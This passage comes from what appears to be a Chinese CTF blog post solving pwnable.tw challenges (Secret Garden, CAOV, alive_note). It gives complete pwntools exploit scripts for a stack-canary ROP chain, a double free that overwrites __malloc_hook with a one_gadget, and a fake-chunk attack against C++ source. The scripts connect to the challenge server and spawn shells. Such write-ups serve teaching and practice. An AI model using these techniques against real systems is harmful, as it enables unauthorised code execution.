copy('a'*0x3f)
payload='aaaaaaaa'
for j in range(6):
login2()
for i in range(0xff):
if i == 10 or i == 0:
continue
login(payload+p8(i)+'\x00')
if io.recvuntil('!\n')[-9:] == 'uccess !\n':
payload+=p8(i)
break
IOsetbuf=u64(payload[-6:].ljust(8,'\x00'))-9
libc_base=IOsetbuf-libc.symbols['_IO_file_setbuf']
print('libc_base',hex(libc_base))
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search('/bin/sh').next()
print('binsh',hex(binsh))
pop_rdi=libc_base+libc.search(asm('pop rdi\nret')).next()
login2()
login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*5+p32(system&0xffffffff)+p16((system>>32)&0xffff)+'\n')
copy('a'*0x3f)

login2()
login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*4+'aaaaaaa'+'\n')
copy('a'*0x3f)

login2()
login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*4+p32(binsh&0xffffffff)+p16((binsh>>32)&0xffff)+'\n')
copy('a'*0x3f)

login2()
login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*3+'aaaaaaa'+'\n')
copy('a'*0x3f)

login2()
login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*3+p32(pop_rdi&0xffffffff)+p16((pop_rdi>>32)&0xffff)+'\n')
copy('a'*0x3f)

#gdb.attach(io)
io.sendlineafter('>> ','2')
io.interactive()
exp()

9.Secret Garden

题目的漏洞点挺简单的,就是free后指针未置0

image-20211108110017579

因此可以double free,打__malloc_hook指针,设置为onegadget,因为gadget需要满足一定的条件,由于栈中的数据不理想,利用realloc调栈也没有办法满足条件,所以在这里我们利用malloc错误时会调用malloc_printerr函数。

1
2
3
4
5
6
7
8
9
10
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}

接着调用__libc_message函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);

if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];

buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';

__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}

接着调用BEFORE_ABORT,且定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void
__libc_message (int do_abort, const char *fmt, ...)
···
···
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);

/* Kill the application. */
abort ();
}
···
···
#define BEFORE_ABORT backtrace_and_maps

因此又调用了backtrace_and_maps,函数调用了__backtrace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static void
backtrace_and_maps (int do_abort, bool written, int fd)
{
if (do_abort > 1 && written)
{
void *addrs[64];
#define naddrs (sizeof (addrs) / sizeof (addrs[0]))
int n = __backtrace (addrs, naddrs);#调用__backtrace
if (n > 2)
{
#define strnsize(str) str, strlen (str)
#define writestr(str) write_not_cancel (fd, str)
writestr (strnsize ("======= Backtrace: =========\n"));
__backtrace_symbols_fd (addrs + 1, n - 1, fd);

writestr (strnsize ("======= Memory map: ========\n"));
int fd2 = open_not_cancel_2 ("/proc/self/maps", O_RDONLY);
char buf[1024];
ssize_t n2;
while ((n2 = read_not_cancel (fd2, buf, sizeof (buf))) > 0)
if (write_not_cancel (fd, buf, n2) != n2)
break;
close_not_cancel_no_status (fd2);
}
}
}

__backtrace函数定义如下,发现其调用了__libc_once (once, init);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int
__backtrace (void **array, int size)
{
struct trace_arg arg = { .array = array, .cfa = 0, .size = size, .cnt = -1 };

if (size <= 0)
return 0;

#ifdef SHARED
__libc_once_define (static, once);

__libc_once (once, init);
if (unwind_backtrace == NULL)
return 0;
#endif

unwind_backtrace (backtrace_helper, &arg);

/* _Unwind_Backtrace seems to put NULL address above
_start. Fix it up here. */
if (arg.cnt > 1 && arg.array[arg.cnt - 1] == NULL)
--arg.cnt;
return arg.cnt != -1 ? arg.cnt : 0;
}

__libc_once (once, init);中的init如下,调用了__libc_dlopen (“libgcc_s.so.1”),又因为__libc_dlopen (“libgcc_s.so.1”)这个函数需要malloc为它分配内存,因此又会调用malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void
init (void)
{
libgcc_handle = __libc_dlopen ("libgcc_s.so.1");

if (libgcc_handle == NULL)
return;

unwind_backtrace = __libc_dlsym (libgcc_handle, "_Unwind_Backtrace");
unwind_getip = __libc_dlsym (libgcc_handle, "_Unwind_GetIP");
if (unwind_getip == NULL)
unwind_backtrace = NULL;
unwind_getcfa = (__libc_dlsym (libgcc_handle, "_Unwind_GetCFA")
?: dummy_getcfa);
}

整个调用关系如下图

image-20211108114616202

可以看见这时候会先执行malloc_hook,可以看见栈上有大量的0,满足了onegadget的要求。

image-20211108114744647

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
#io=process('./secretgarden',env={'LD_PRELOAD':'./libc_64.so.6'})
io=remote('chall.pwnable.tw' ,10203)
#io=process('./secretgarden')
elf=ELF('./secretgarden')
libc=ELF('./libc_64.so.6')
#libc=ELF('./libc-2.23.so')
context.log_level='debug'

def add(length,name,color):
io.sendlineafter('choice : ','1')
io.sendlineafter('Length of the name :',str(length))
io.sendafter('name of flower :',name)
io.sendlineafter('color of the flower :',color)

def show():
io.sendlineafter('choice : ','2')

def dele(index):
io.sendlineafter('choice : ','3')
io.sendlineafter('Which flower do you want to remove from the garden:',str(index))

def exp():
add(0x98,'0','0')
add(0x18,'1','1')
dele(0)
add(0x68,'a'*8,'0')
show()
malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-16
libc_base=malloc_hook-libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
print('libc_base',hex(libc_base))
onegadget=[0x45216,0x4526a,0xcc543,0xcc618,0xef6c4,0xef6d0,0xf0567,0xf5b10,0xf0897]

add(0x68,'2','2')
add(0x68,'3','3')
dele(2)
dele(3)
dele(2)
add(0x68,p64(malloc_hook-0x23),'2')
add(0x68,'3','3')
add(0x68,'4','4')
add(0x68,'a'*(0x13)+p64(onegadget[8]+libc_base),'5')
dele(4)

#gdb.attach(io,gdb_args=["-d","../../../pwndbg/glibc-2.23/malloc"])
dele(4)
#io.sendlineafter('choice : ','1')
io.interactive()
exp()

10.CAOV

近段时间遇到了好多C++pwn题,但由于太菜,每次都看不懂,因此想在网上找C++pwn题的源码对照ida学习c++pwn,但网上的这种资料太少,四处碰壁后还是靠企鹅才找到了源码。以下是源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
/* g++ -std=c++11 -Wl,-z,relro,-z,now -o caov caov.cpp */

#include <bits/stdc++.h>
#include <unistd.h>

using namespace std;

class Data;

Data *D;
char name[160];

class Data
{
public:
Data():key(NULL) , value(0), change_count(0){ init_time(); }
Data(string k, int v)
{
key = new char[k.length() + 1];
strcpy(key, k.c_str());
value = v;
change_count = 0;
update_time();
}
Data(const Data &obj)
{
key = new char[strlen(obj.key)+1];
strcpy(key, obj.key);
value = obj.value;
change_count = obj.change_count;
year = obj.year;
month = obj.month;
day = obj.day;
hour = obj.hour;
min = obj.min;
sec = obj.sec;
}
Data operator=(const Data &rhs)
{
key = new char[strlen(rhs.key)+1];
strcpy(key, rhs.key);
value = rhs.value;
change_count = rhs.change_count;
year = rhs.year;
month = rhs.month;
day = rhs.day;
hour = rhs.hour;
min = rhs.min;
sec = rhs.sec;
}
void edit_data()
{
if(change_count == 10)
{
cout << "You can only edit your data 10 times at most." << endl;
cout << "Bye ._.\\~/" << endl;
exit(0);
}
int old_len = strlen(key);
unsigned int new_len = 0;
cout << "New key length: ";
cin >> new_len;
getchar();
if(new_len == 0 || new_len > 1000)
{
cout << "Invalid key length" << endl;
return;
}
if (new_len > old_len) key = new char[new_len+1];
set_data(new_len);
change_count += 1;
}
void set_data(unsigned int n)
{
cout << "Key: ";
cin.getline(key, n+1); // read n byte + 1 null byte ( auto append )
cout << "Value: ";
cin >> value;
getchar();
update_time();
}
void update_time()
{
time_t cur_time = time(NULL);
struct tm *now = localtime(&cur_time);
year = now->tm_year + 1900;
month = now->tm_mon + 1;
day = now->tm_mday;
hour = now->tm_hour;
min = now->tm_min;
sec = now->tm_sec;
}
void info()
{
cout << "Key: " << key << endl;
cout << "Value: " << value << endl;
cout << "Edit count: " << change_count << endl;
cout << "Last update time: ";
printf("%d-%d-%d %d:%d:%d\n", year, month, day, hour, min, sec);
}
~Data()
{
delete[] key;
key = nullptr;
value = 0;
change_count = 0;
init_time();
}

private:
char *key;
long value;
long change_count;
int year;
int month;
int day;
int hour;
int min;
int sec;
void init_time()
{
year = 0;
month = 0;
day = 0;
hour = 0;
min = 0;
sec = 0;
}
};

void set_name()
{
char tmp[160]={};
char c;
cout << "Enter your name: ";
int cnt = 0;
while(1)
{
int len = read(0, &c, 1);
if(len != 1)
{
cout << "Read error" << endl;
exit(-1);
}
tmp[cnt++] = c;
if(c == '\n' || cnt == 150)
{
tmp[cnt-1] = '\0';
break;
}
}
memcpy(name, tmp, cnt);
}

void edit()
{
Data old;
old = *D;
D->edit_data();
cout << "\nYour data info before editing:" << endl;
old.info();
cout << "\nYour data info after editing:" << endl;
D->info();
}

void playground()
{
int choice = 0;
while(1)
{
cout << "\nMenu" << endl;
cout << "1. Show name & data" << endl;
cout << "2. Edit name & data" << endl;
cout << "3. Exit" << endl;
cout << "Your choice: ";
cin >> choice;
getchar();
switch(choice)
{
case 1:
cout << "\nYour name is : "<< name << endl;
cout << "Your data :" << endl;
D->info();
break;
case 2:
set_name();
edit();
break;
case 3:
cout << "Bye !" << endl;
return;
default:
cout << "Invalid choice !" << endl;
exit(0);
}
}
}

int main(int argc, char *argv[])
{
setvbuf(stdin,0, 2, 0);
setvbuf(stdout,0, 2, 0);
setvbuf(stderr,0, 2, 0);

string k;
long v;

set_name();
cout << "Hello ! " << name << " !" << endl;
cout << "Welcome to Simple key-value DB playground !" << endl;
cout << "Please input a key: ";
cin >> k;
cout << "Please input a value: ";
cin >> v;

D = new Data(k, v);
cout << "Data create success !" << endl;
cout << "Now you can play with your data ^_^" << endl;

playground();

return 0;
}

本题的漏洞点在dele的指针是我们可以控制的

image-20211123170418374

可以看到v4距离ebp0x50的位置

image-20211123170522368

和他共用一个栈帧的函数其中src是我们可控的,也就是说v4可控,因此我们就能够伪造chunk了。

image-20211123170611044

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
#io=process('./caov')
io=remote('chall.pwnable.tw',10306)
elf=ELF('./caov')
#libc=elf.libc
libc=ELF('./libc_64.so.6')
context.log_level='debug'

def add(name,key,value):
io.sendlineafter('Enter your name: ',name)
io.sendlineafter('input a key: ',key)
io.sendlineafter('input a value: ',value)

def edit(name,length,key,value):
io.sendlineafter('Your choice: ','2')
io.sendlineafter('Enter your name: ',name)
io.sendlineafter('New key length: ',str(length))
io.sendafter('Key: ',key)
io.sendlineafter('Value: ',value)

def show():
io.sendlineafter('Your choice: ','1')

def exp():
add('f1ag','a'*0x10,'10')
payload=p64(0)+p64(0x71)
payload=payload.ljust(0x60,'\x00')
edit(payload+p64(0x6032d0)*2+p64(0)+p64(0x21),0x7,'b\n','20')
edit(p64(0)+p64(0x71)+p64(0x603288-3),0x67,'c\n','30')
edit(p64(0)+p64(0x71)+p64(0)*6+p64(0x603280)+p64(0x10),0x67,'a'*0xb+p64(0x603300)+'\n','30')
addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=addr-libc.symbols['_IO_2_1_stderr_']
print('libc_base',hex(libc_base))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
malloc_hook=libc_base+libc.symbols['__malloc_hook']
gadget=[0x45216,0x4526a,0xef6c4,0xf0567]

payload=p64(0)+p64(0x71)+p64(0)*6+p64(0x603280)+p64(0x10)+p64(0)
payload=payload.ljust(0x60,'\x00')
edit(payload+p64(0x6032d0)*2+p64(0)+p64(0x21),0x10,'\n','20')
edit(p64(0)+p64(0x71)+p64(malloc_hook-0x23),0x67,'\n','1')
#gdb.attach(io)
edit(p64(0)+p64(0x71),0x67,'a'*0x13+p64(gadget[2]+libc_base)+'\n','2')
io.interactive()
exp()

11.alive_note

输入更加严格,只允许数字大小写字母,并且利用jne连接shellcode,为了简化操作,构造出read函数,输入shellcode执行。关键在于构造int 80\xcd\x80,巧妙方法利用0-1=0xff构造出大于0x80的数字以用来异或。

上一篇:
JIT类型初探
下一篇:
西邮第二届校赛